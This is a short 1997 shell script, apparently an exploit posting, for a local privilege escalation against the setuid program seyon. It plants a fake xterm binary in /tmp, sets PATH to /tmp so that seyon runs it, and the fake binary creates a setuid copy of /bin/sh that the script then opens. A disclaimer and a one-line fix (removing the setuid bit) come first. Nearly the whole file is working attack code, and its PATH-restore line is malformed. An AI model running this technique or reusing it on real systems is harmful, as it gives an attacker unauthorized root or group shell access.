#!/bin/sh
#
# Exploit for seyon by BeastMaster V
# Scripted on June 19, 1997 
# PROBLEM: seyon does not include full path when execing xterm
# DISCLAIMER: Please use in a responsible manner
# SOLUTION: chmod ug-s seyon

# Just put the full path to Seyon here
FULL_PATH_TO_SEYON=/usr/X11/bin/seyon


ORIGINAL_PATH=$PATH

cat > /tmp/xterm.c << E_O_F
#include <stdio.h>
#include <stdlib.h>

main () {
	system("/bin/cp /bin/sh /tmp/XxX");
	system("/bin/chmod ug+s /tmp/XxX");
}
E_O_F

cc -o /tmp/xterm /tmp/xterm.c

PATH=/tmp
export PATH

$FULL_PATH_TO_SEYON

PATH=$ORIGINAL_PATH=$PATH
export PATH

/bin/rm /tmp/xterm.c /tmp/xterm

echo ""
echo ""
echo " <-- Now type: id -->"
echo ""

/tmp/XxX

rm /tmp/XxX

